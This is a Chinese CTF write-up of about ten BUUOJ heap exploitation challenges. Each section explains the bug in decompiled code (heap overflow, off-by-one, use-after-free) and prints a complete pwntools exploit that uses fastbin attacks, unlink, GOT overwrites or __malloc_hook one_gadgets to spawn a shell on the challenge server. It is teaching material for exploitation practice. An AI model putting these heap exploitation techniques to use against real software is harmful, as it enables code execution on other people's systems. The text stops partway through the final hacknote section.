pwn学习-BUUOJ wp(heap)

阅读量    165066 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 babyheap_0ctf_2017

一道菜单堆题,所有保护都开启了。

先来看看申请chunk的函数,可以申请16块chunk,然后有一个数组来进行存储,每申请一块chunk占用数组的三个位置,分别表示下标已占用,size大小和chunk的content地址。注意这里用了calloc来申请chunk,每次分配内存之前会先将内存的内容清空。

void __fastcall add(__int64 *a1)
{
  int index; // [rsp+10h] [rbp-10h]
  int size; // [rsp+14h] [rbp-Ch]
  void *chunk; // [rsp+18h] [rbp-8h]

  for ( index = 0; index <= 15; ++index )
  {
    if ( !LODWORD(a1[3 * index]) )
    {
      printf("Size: ");
      size = input_num();
      if ( size > 0 )
      {
        if ( size > 4096 )
          size = 4096;
        chunk = calloc(size, 1uLL);
        if ( !chunk )
          exit(-1);
        LODWORD(a1[3 * index]) = 1;
        a1[3 * index + 1] = size;
        a1[3 * index + 2] = (__int64)chunk;
        printf("Allocate Index %d\n", (unsigned int)index);
      }
      return;
    }
  }
}

再看看edit函数,这里输入的大小size,程序并没有对size的范围进行判断,也就是说存在溢出。

__int64 __fastcall edit(__int64 *a1)
{
  __int64 result; // rax
  int index; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = input_num();
  index = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
    result = LODWORD(a1[3 * (int)result]);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input_num();
      size = result;
      if ( (int)result > 0 )
      {
        printf("Content: ");
        result = input_content(a1[3 * index + 2], size);
      }
    }
  }
  return result;
}

然后free掉chunk或也进行了置零操作,没什么好说的。

我们可以先通过泄露出unsortbin的bins头来泄露libc的基址,然后将one_gadget的地址写入__malloc_hook ,然后在进行分配的时候就能够getshell了。

我们可以先申请这样几块chunk:,然后我们就要想办法伪造一块free掉的chunk,使其fd指针指向unsortbin的bins头,然后进行输出泄露出地址。

我们可以对第0块chunk进行溢出,修改chunk1的size位,修改后的size位要能够覆盖chunk1和chunk2,因此可以修改为0xb1,然后free掉chunk1,此时这一大块chunk就会放入unsortbin中,再申请一块大小为0x10的chunk,bin中就剩下了chunk2这块chunk,但是实际上这块chunk没有被free掉,但是此时他的fd指针已经指向了unsortbin的bins头,直接输出就能够泄露出libc的基址了。

add(0x10) # 0
add(0x10) # 1
add(0x80) # 2
add(0x10) # 3

在gdb中查看一下这个地址,发现与main_arena偏移为88,在之上可以找到__malloc_hook 的地址,借此泄露出libc的基址。然后我们还能再这之前找到一处适合伪造chunk的地址,伪造大小为0x71的chunk,通过修改rfree掉的chunk的fd指针指向此处,然后把它申请出来,就可以对__malloc_hook 进行修改了。

gdb-peda$ x /gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>:    0x00005555557570c0

gdb-peda$ x /gx 0x7ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>:    0xfff7dd0260000000
gdb-peda$
0x7ffff7dd1af5 <_IO_wide_data_0+309>:    0x000000000000007f
gdb-peda$
0x7ffff7dd1afd:    0xfff7a92ea0000000
gdb-peda$
0x7ffff7dd1b05 <__memalign_hook+5>:    0xfff7a92a7000007f
gdb-peda$
0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./0ctf_2017_babyheap')
io = remote('node3.buuoj.cn', 27412)
libc = ELF('./libc-2.23.so')

def add(size):
    io.sendlineafter('Command: ', '1')
    io.sendlineafter('Size: ', str(size))

def edit(index, size, content):
    io.sendlineafter('Command: ', '2')
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(size))
    io.sendafter('Content: ', content)

def delete(index):
    io.sendlineafter('Command: ', '3')
    io.sendlineafter('Index: ', str(index))

def display(index):
    io.sendlineafter('Command: ', '4')
    io.sendlineafter('Index: ', str(index))
    io.recvuntil('Content: \n')

add(0x10) # 0
add(0x10) # 1
add(0x80) # 2
add(0x10) # 3

payload = 'a' * 0x10 + p64(0) + p64(0xb1)

edit(0, len(payload), payload)
# gdb.attach(io)

delete(1)

add(0x10) # 1

display(2)
unsortbin = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

print(hex(unsortbin))

libc_base = unsortbin - 88 - 0x10 - libc.symbols["__malloc_hook"]

one = 0x4526a + libc_base
fake_chunk = unsortbin - 88 - 0x10 - 0x23

add(0x80) # 4
add(0x60) # 5
add(0x10) # 6
delete(5)

payload = 'a' * 0x80 + p64(0) + p64(0x71) + 'a' * 0x10 + p64(0) + p64(0x71) + p64(fake_chunk)

edit(4, len(payload), payload)

add(0x60) # 5
add(0x60) # 7 / fake

payload = 'a' * 0x13 + p64(one)
edit(7, len(payload), payload)
add(0x10)

io.interactive()

 

0x01 hitcontraining_uaf

from pwn import *

io = remote('node3.buuoj.cn',27690)
# io = process('./hacknote')

def add(size, content):
    io.sendlineafter('Your choice :', str('1'))
    io.sendlineafter('Note size :', str(size))
    io.sendlineafter('Content :', content)

def delete(index):
    io.sendlineafter('Your choice :', str('2'))
    io.sendlineafter('Index :', str(index))

def show(index):
    io.sendlineafter('Your choice :', str('3'))
    io.sendlineafter('Index :', str(index))

add(16, 'aaaa')
add(16, 'aaaa')

delete(0)
delete(1)

add('8', p32(0x08048945))

show(0)

io.interactive()

 

0x02 [ZJCTF 2019]EasyHeap

检查一下保护机制,开启了canary和NX保护,RELRO是Partial RELRO,说明got表可写。

反编译一下,是一道菜单题,create_heap() 里利用了一个heaparray来存储用户申请的chunk,一共可以存储十个chunk。这里根据申请的大小来决定读取数据的长度,没有溢出。

  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      *(&heaparray + i) = malloc(size);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:");
      read_input(*(&heaparray + i), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }

再来看一下编辑块,这里的v2是读取数据的长度,由用户输入且没有对其进行检查,存在溢出。

 if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }

然后看一下删除块,free掉chunk后,对数组中的指针进行了置零,没有uaf。

  if ( *(&heaparray + v1) )
  {
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }

然后在main函数中有这样一段代码,如果输入4869且bss段的一个参数magic大于0x1305,则调用l33t() 函数

      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }

l33t() 函数中是这样,似乎可以直接输出flag,但是其实flag并不在这个路径下,不过也因此给我们提供了system函数。

int l33t()
{
  return system("cat /home/pwn/flag");
}

这里我们在arraylist存储位置的前面不远处找到了一处地址 0x6020ad ,这里的第二个八字节处是0x7f,可以用来伪装chunk块,可以利用fastbin attack来申请到这块地址,然后对heaparray进行复写,将free函数的got表地址写入,然后使用一幕提供的edit()对其进行修改,将system函数的plt表地址写入,就可以将free函数修改为system函数,然后执行存储数据为/bin/sh的chunk进行删除,就可以执行system("/bin/sh")了。

这是原来修改,magic的值得exp,结果被题目骗了(气:

from pwn import *

io = remote('node3.buuoj.cn',25547)
# io = process('./easyheap')

def add(size, content):
    io.sendlineafter('Your choice :', str('1'))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap:', content)

def edit(index, size, content):
    io.sendlineafter('Your choice :', str('2'))
    io.sendlineafter('Index :', str(index))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap : ', content)

def delete(index):
    io.sendlineafter('Your choice :', str('3'))
    io.sendlineafter('Index :', str(index))

add(0x60, 'aaaa') #0
add(0x60, 'aaaa') #1

delete(1)

fake_chunk = 0x6020ad

edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))

add(0x60, 'aaaa') #1
add(0x60, 'aaaaaaaaaaaaaaaa') #2

io.sendlineafter('Your choice :', p64(4869))

io.interactive()

这是本题的exp:

from pwn import *

context.log_level='debug'
# io = remote('node3.buuoj.cn',27573)
io = process('./easyheap')
elf = ELF('./easyheap')

free_got = elf.got['free']
system_plt = elf.plt['system']

def add(size, content):
    io.sendlineafter('Your choice :', str('1'))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap:', content)

def edit(index, size, content):
    io.sendlineafter('Your choice :', str('2'))
    io.sendlineafter('Index :', str(index))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap : ', content)

def delete(index):
    io.sendlineafter('Your choice :', str('3'))
    io.sendlineafter('Index :', str(index))

add(0x60, '/bin/sh\x00') #0
add(0x60, 'aaaa') #1

delete(1)

fake_chunk = 0x6020ad

edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))

add(0x60, 'aaaa') #1

add(0x60, 'a' * 0x23 + p64(free_got)) #3
edit(0, len(p64(system_plt)), p64(system_plt))
edit(1, 0x10, '/bin/sh\x00')
delete(1)

io.interactive()

 

0x03 babyfengshui_33c3_2016

同样还是一道菜单题,开启了canary和NX保护,RELRO是Partial RELRO,说明got表可写。

输入0可添加chunk,除了申请一块用户输入大小的chunk外,程序还固定申请一块大小为0x80大小的chunk,然后将用户申请的chunk的地址存入,之后用这块chunk来存储输入的name。然后将这块chunk存入数组ptr中。之后调用edit()进行内容的输入。

_DWORD *__cdecl add(size_t a1)
{
  void *s; // [esp+14h] [ebp-14h]
  _DWORD *v3; // [esp+18h] [ebp-10h]

  s = malloc(a1);
  memset(s, 0, a1);
  v3 = malloc(0x80u);
  memset(v3, 0, 0x80u);
  *v3 = s;
  *(&ptr + index) = v3;
  printf("name: ");
  input_name(*(&ptr + index) + 4, 124);
  edit(index++);
  return v3;
}

edit()函数读取输入长度,然后这段代码重点就在对用户输入长度的判断,它是对输入的存储地址加上输入长度之后的地址不超过储存name的地址。当然这段判断逻辑是建立在两块chunk是挨着的前提下,如果两块chunk之前隔着其他chunk的话,就可能造成堆的溢出。

unsigned int __cdecl edit(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h] BYREF
  int v3; // [esp+18h] [ebp-10h] BYREF
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < index && *(&ptr + a1) )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (v3 + **(&ptr + a1)) >= *(&ptr + a1) - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    input_name(**(&ptr + a1), v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}

然后就是删除和输出两个函数,很常规,没什么好说的。

这里我们可以先连续申请三块大小为0x80的chunk,此时heap的情况如下:

然后free掉第一块chunk,chunk0和chunk0_name就会触发UNlink进行合并,接着申请一块大小为0x100的chunk,然后分配器就会将将这块chunk分配给用户,然后在chunk2_name之后申请一块chunk作为新申请的chunk的name。这时候对这块chunk进行输入,范围可以覆盖掉之前申请的所有chunk,就造成了溢出。

此时我们可以覆盖掉chunk1_name的chunk1指针内容为free函数的got表地址,然后对其进行输出,接收输出的地址,就可以借助LibcSearcher泄露libc,就可以得到system函数的地址,然后将free函数的got表覆写为system函数的plt表地址,就可以将free函数覆盖为system函数,然后对内容为/bin/sh的chunk进行free,就执行了system("/bin/sh")来getshell了。

exp:

# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher  import *

# io = process("./babyfengshui_33c3_2016")
io = remote('node3.buuoj.cn', 28616)
elf=ELF('./babyfengshui_33c3_2016')
context.log_level='debug'

free_got = elf.got['free']

def add(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'So4ms')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete(index):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(index))

def display(index):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(index))

def edit(index, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(index))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

add(0x80, 0x80, 'aaaa')
add(0x80, 0x80, 'aaaa')
add(0x80, 0x80, '/bin/sh\x00')

delete(0)

add(0x100, 0x19c, 'a' * 0x198 + p32(free_got))

display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))

print(hex(free_addr))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
sys_addr = libc_base + libc.dump('system')

edit(1, 4, p32(sys_addr))
delete(2)

io.interactive()

 

0x04 roarctf_2019_easy_pwn

还是一道菜单题,先来看看申请块。这里我对一些命名进行了修改,方便我们进行分析。

这里使用了一个数组chunk_num_array来记录申请的chunk的下标是否已经使用,也就是记录了目前有哪些chunk。第二个数组chunk_size_array用来记录了对应下标的chunk申请的size大小。第三个chunk就是记录了申请的chunk的地址了。

  for ( i = 0; i <= 15; ++i )
  {
    result = *((unsigned int *)&chunk_num_array + 4 * i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      v3 = input_num(v2);
      if ( v3 > 0 )
      {
        if ( v3 > 4096 )
          v3 = 4096;
        v4 = calloc(v3, 1uLL);
        if ( !v4 )
          exit(-1);
        *((_DWORD *)&chunk_num_array + 4 * i) = 1;
        *((_DWORD *)&chunk_size_array + 4 * i) = v3;
        chunk_array[2 * i] = v4;
        printf("the index of ticket is %d \n", (unsigned int)i);
      }
      return (unsigned int)i;
    }
  }

然后就是对chunk的内容进行修改,这里进行输入长度判断的函数check_size() 对我们输入内容的长度进行检查,当我们输入的长度大小刚好大于申请大小十个字节时,存在off-by-one漏洞,溢出一字节。

__int64 __fastcall check_size(int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

先申请四块chunk,这里我们对第0块chunk进行输入,进行单字节溢出,对第一块chunk的size位进行修改。这里我们第一块chunk大小申请为0x58的原因是我们想达成下图所示效果,溢出能覆盖到下一chunk的size位。如果多一字节这块chunk的大小就变为0x71大小了,无法完成覆盖。

在将第一块chunk进行free时,可以将第一块和第二块chunk一起放入fastbins中。因为对chunk进行申请时使用的是calloc() 函数,会先将内存中的内容清空再进行分配,所以我们不能直接申请后输出unsortedbin头的地址,我们可以先将chunk1申请出来,然后chunk2还在unsortedbin中,fd和bk指针还指向着unsortedbin头的地址,而且我们还可以对这块chunk进行输出编辑,于是我们可以将unsortedbin头的地址输出,然后借此泄露出libc的基址。

这里我们可以使用一个工具来计算main_arean和libc的偏移 main_arena_offset

有了libc的基址,我们就可以往__malloc_hook中写入one_gadget的地址,由于这题one_gadget的条件不满足,所以我们可以利用 realloc 函数调整 rsp。

我们可以选择 realloc + 2 的地址写入__malloc_hook中,这里我们少执行了一条 push r15 ,rsp的地址就被抬高了八个字节,可以通过这种方式来尝试满足one_gadget的执行条件。

先把 one_gadget 写到 realloc_hook 中,然后把 realloc_hook 写到 malloc_hook 中,当去执行 malloc 的时候会先去执行 malloc_hook(这里就是 realloc_hook),然后执行 realloc_hook 里的 one_gadget 从而拿到 shell。

exp:

from pwn import *
from LibcSearcher import *
# io = process('./easypwn')
io = remote('node3.buuoj.cn',28175)

libc = ELF('./libc-2.23.so')

malloc_hook = libc.symbols['__malloc_hook']
realloc = libc.symbols['__libc_realloc']

def add(size):
  io.sendlineafter('choice: ',str(1))
  io.sendlineafter('size: ',str(size))

def edit(index,size,content):
  io.sendlineafter('choice: ',str(2))
  io.sendlineafter('index: ',str(index))
  io.sendlineafter('size: ',str(size))
  io.sendlineafter('content: ',content)

def delete(index):
  io.sendlineafter('choice: ',str(3))
  io.sendlineafter('index: ',str(index))

def display(index):
  io.sendlineafter('choice: ',str(4))
  io.sendlineafter('index: ',str(index))

add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3

edit(0, 0x58 + 0xa, 'a'* 0x58 + '\xe1')
delete(1)


add(0x60) #1
gdb.attach(io)
display(2)
io.recvuntil("content: ")
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

libc_base = address - 0x58 - 0x3c4b20
print(hex(libc_base))

realloc = libc_base + realloc
one = 0x4526a + libc_base
fake_chunk = address - 0x8b

add(0x60) #4 / 2
delete(2)
edit(4, 0x8, p64(fake_chunk))
# gdb.attach(io)
add(0x60) # 2 / 4
add(0x60) # fake / 5
payload = '\x00'*11 + p64(one) + p64(realloc + 2)

edit(5, len(payload), payload)
# gdb.attach(io)
add(255)

io.interactive()

 

0x05 ciscn_2019_n_3

这题相对比较简单,也是一道菜单题(heap都是菜单题吗(小声bb

开头给了system函数还是挺好的。

这里使用了records数组来记录申请的chunk的下标,为数组中的每一个元素申请了0xc大小的空间,刚好三个单位的大小,依次存放了输出函数、free函数和申请的chunk地址。

  records[v2] = (int)malloc(0xCu);
  v3 = (int *)records[v2];
  *v3 = (int)rec_int_print;
  v3[1] = (int)rec_int_free;

来看看chunk的free函数,将chunk进行free,但是没有进行置空,也就是说存在UAF漏洞,再结合函数指针,我们可以将rec_int_print或者rec_int_free的地址修改为system函数的地址,然后进行输出或者free时就可以getshell了。

int __cdecl rec_str_free(void *ptr)
{
  free(*((void **)ptr + 2));
  free(ptr);
  return puts("Note freed!");
}

这里我们可以先申请三个chunk,然后free掉后两个chunk,由于bin的FILO机制,我们再一次进行申请的时候,会先将二号chunk的0xc大小的头给申请出来,然后会将一号chunk的头申请出来给三号chunk作为存储内容的chunk,这时我们进行输入,也就是可以覆盖一号chunk的函数指针,我们将fd处修改为bash字符串,bk处修改为system函数地址,free一号chunk,即可getshell。

exp:

from pwn import *

io = process('./ciscn_2019_n_3')
io = remote('node3.buuoj.cn', 28466)

elf = ELF('./ciscn_2019_n_3')
def add(id, type, content, length):
    io.recvuntil("> ")
    io.sendline('1')
    io.recvuntil("> ")
    io.sendline(str(id))
    io.recvuntil("> ")
    if(type == 1):
        io.sendline(str(type))
        io.recvuntil("> ")
        io.sendline(str(content))
    else:
        io.sendline(str(type))
        io.recvuntil("> ")
        io.sendline(str(length))
        io.recvuntil("> ")
        io.sendline(str(content))

def show(id):
    io.sendlineafter('> ','3')
    io.sendlineafter('> ',str(id))

def delete(id):
    io.sendlineafter('> ','2')
    io.sendlineafter('> ',str(id))


add(0, 2, 'aaaa', 0x88)
add(1, 2, 'aaaa', 0x38)
add(2, 1, 0x41, 0)

delete(1)
delete(2)

add(3, 2, 'bash' + p32(elf.plt['system']), 0xc)

delete(1)

io.interactive()

 

0x06 hitcontraining_magicheap

还是一道菜单堆题,而且当我们输入4869时,程序会判断位于bss段的参数magic是否大于0x1305,大于则调用函数 l33t() ,和上面那题[ZJCTF 2019]EasyHeap差不多,而且这次是给了shell,不是给了假的flag位置,直接fastbin attack就可以了。

      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }

exp:

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')
# io = process('./magicheap')
io = remote('node3.buuoj.cn', 25599)

def add(size, content):
    io.sendlineafter('Your choice :', '1')
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap:', content)

def edit(id, size, content):
    io.sendlineafter('Your choice :', '2')
    io.sendlineafter('Index :', str(id))
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap : ', content)

def delete(id):
    io.sendlineafter('Your choice :', '3')
    io.sendlineafter('Index :', str(id))

fake_chunk = 0x6020a0 - 0x13

add(0x60, 'aaaa') # 0
add(0x60, 'aaaa') # 1
add(0x10, 'aaaa') # 2

delete(1)
edit(0, 0x78, 'a' * 0x60 + p64(0) + p64(0x71) + p64(fake_chunk))

add(0x60, 'aaaa') # 1
add(0x60, 'a' * 0x14) # 3 / fake

io.sendlineafter(':', '4869')
io.interactive()

 

0x07 hitcontraining_heapcreator

还是一道菜单堆题。

看一下create函数,这里先malloc了大小为0x10的空间,也就是大小为0x20的chunk,然后存入数组heaparray。然后输入我们想要申请的大小,申请完成后将申请的大小和申请的chunk的content地址依次存入之前申请的0x20的chunk中。

unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      *(&heaparray + i) = malloc(0x10uLL);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      v0 = (__int64)*(&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*((_QWORD *)*(&heaparray + i) + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)*(&heaparray + i) = size;
      printf("Content of heap:");
      read_input(*((void **)*(&heaparray + i) + 1), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

再来看看edit函数,重点看看这段输入的代码,提交的输入长度为申请的大小加一,也就是说存在off-by-one漏洞,刚好溢出一字节。

  if ( *(&heaparray + v1) )
  {
    printf("Content of heap : ");
    read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);
    puts("Done !");
  }

delete函数中,free掉chunk时,会将预先申请的0x20的chunk和申请的chunk一起free掉。

  if ( *(&heaparray + v1) )
  {
    free(*((void **)*(&heaparray + v1) + 1));
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;
    puts("Done !");
  }

于是我们可以先申请一块大小为0xx8(x任选)的chunk,这样溢出一字节就能够覆盖下一块chunk的size位,然后伪造chunk的大小,在经过free后再次申请伪造大小的chunk,从而产生 chunk overlap。

我们可以先申请四块chunk,大小依次为0x18、0x10、0x10、0x10。布局如下

然后我们对chunk0进行输入,溢出一字节,覆盖chunk1_header的size位为0x81,然后将chunk1 free掉,chunk1_header同时也被free掉,然后这就有了一块大小为0x80的空闲chunk。我们申请大小为0x70的chunk,就可以申请到这块空间。这时下图所示的黄色区域都是我们申请来的chunk,我们想要修改got表,可以将free函数的got表地址写入chunk2_header的原存储chunk2地址处,这样我们对chunk2进行输出时,实际上就是输出free函数的实际地址,泄露出libc的基址,然后将system函数写入,进行free时实际上就是运行了system函数,从而进行getshell。

exp:

from pwn import *
from LibcSearcher import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process('./heapcreator')
io = remote('node3.buuoj.cn', 29320)
elf = ELF('./heapcreator')
free_got = elf.got['free']

def add(size, content):
    io.sendlineafter('Your choice :', '1')
    io.sendlineafter('Size of Heap : ', str(size))
    io.sendlineafter('Content of heap:', content)

def edit(index, content):
    io.sendlineafter('Your choice :', '2')
    io.sendlineafter('Index :', str(index))
    io.sendlineafter('Content of heap : ', content)

def display(index):
    io.sendlineafter('Your choice :', '3')
    io.sendlineafter('Index :', str(index))

def delete(index):
    io.sendlineafter('Your choice :', '4')
    io.sendlineafter('Index :', str(index))

add(0x18, 'aaaa') # 0
add(0x10, 'bbbb') # 1
add(0x10, 'cccc') # 2
add(0x10, '/bin/sh') # 3

edit(0, 'a' * 0x18 + '\x81')
delete(1)

payload = 'a' * 0x40 + p64(8) + p64(free_got)
add(0x70, payload) # 1
display(2)

io.recvuntil('Content : ')
free_addr = u64(io.recvuntil('Done')[:-5].ljust(8,'\x00'))
print(hex(free_addr))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system = libc_base + libc.dump('system')
print(hex(system))

edit(2, p64(system))
delete(3)

io.interactive()

 

0x08 0ctf_2017_babyheap

babyheap_0ctf_2017

 

0x09 hitcontraining_bamboobox

还是一道菜单堆题,先来看看申请chunk,这一块代码,用了itemlist来存储申请的chunk的大小和chunk的content地址。

    for ( i = 0; i <= 99; ++i )
    {
      if ( !itemlist[2 * i + 1] )
      {
        LODWORD(itemlist[2 * i]) = v2;
        itemlist[2 * i + 1] = (char *)malloc(v2);
        printf("Please enter the name of item:");
        itemlist[2 * i + 1][(int)read(0, itemlist[2 * i + 1], v2)] = 0;
        ++num;
        return 0LL;
      }
    }

然后是修改chunk内容的代码,这里没有对我们的输入大小范围进行限制,存在溢出。

  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( itemlist[2 * v1 + 1] )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8uLL);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      itemlist[2 * v1 + 1][(int)read(0, itemlist[2 * v1 + 1], v2)] = 0;
    }
    else
    {
      puts("invaild index");
    }
  }

然后输出数据的话是将所有数据输出,free chunk的话会将将itemlist李置零,且将chunk的内容置零。

这题可以用House Of Force来做,可以执行magic函数,但是flag又不在那个目录下,因此我们可以用UNlink来做。

首先我们先申请四块chunk,对编号为1的chunk1进行输入,伪造一块chunk,fd和bk分别指向这块地址-0x18和-0x10处,然后覆盖下一块chunk的pre_siez位和size位,把这块fake_chunk伪造成一块free掉的chunk,然后free chunk2,触发UNlink。

payload为
payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 - 0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)

此时itemlist的原本chunk1的地方,地址就变为了itemlist的地址,也就是说我们对chunk1进行修改,也就是对itemlist进行修改,我们可以将free函数的got表地址写入chunk0处,然后进行输出,就能够泄露出libc的基址了,然后得到system函数的真实地址,写入free函数的got表,free函数就被劫持为system函数了,即可getshell。

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./bamboobox')
io = remote('node3.buuoj.cn', 25016)
elf = ELF('./bamboobox')
libc = ELF('./libc-2.23.so')

free_got = elf.got['free']

def show():
    io.sendlineafter('Your choice:', '1')

def add(size, content):
    io.sendlineafter('Your choice:', '2')
    io.sendlineafter('Please enter the length of item name:', str(size))
    io.sendafter('Please enter the name of item:', content)

def edit(index, size, content):
    io.sendlineafter('Your choice:', '3')
    io.sendlineafter('Please enter the index of item:', str(index))
    io.sendlineafter('Please enter the length of item name:', str(size))
    io.sendafter('Please enter the new name of the item:', content)

def delete(index):
    io.sendlineafter('Your choice:', '4')
    io.sendafter('Please enter the index of item:', str(index))

array = 0x6020C0

add(0x30, 'aaaa')  # 0
add(0x30, 'aaaa')  # 1
add(0x80, 'aaaa')  # 2
add(0x20, '/bin/sh')  # 3

payload = p64(0) + p64(0x30) + p64(array + 0x18 - 0x18) + p64(array + 0x18 - 0x10)
payload += 'a' * 0x10 + p64(0x30) + p64(0x90)

edit(1, len(payload), payload)

delete(2)
# gdb.attach(io)
edit(1, 0x100, p64(0x20) + p64(free_got))#1

show()
io.recvuntil('0 : ')
puts_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))

libc_base = puts_addr - libc.symbols['free']
system = libc_base + libc.symbols['system']

edit(0, 8, p64(system))
delete(3)

io.interactive()

 

0x0a pwnable_hacknote

还是道菜单堆题,但是这次只有添加、删除、输出三个功能了。

先来看看添加,会先malloc一块大小为8的空间,然后把返回的地址存入ptr数组中,然后将函数 sub_804862B() 的地址存入这块申请的空间,之后输入输入内容的大小,没有溢出,之后输入输入内容,并将chunk的content的地址存入先前申请的空间的第二个四字节处。

unsigned int add()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u);
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = sub_804862B;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&ptr + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

再来看看删除功能,这里只是单纯将两块chunk给free掉了,并没有置零,也没有在ptr数组中将其删去,明显的UAF漏洞。

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*((void **)*(&ptr + v1) + 1));
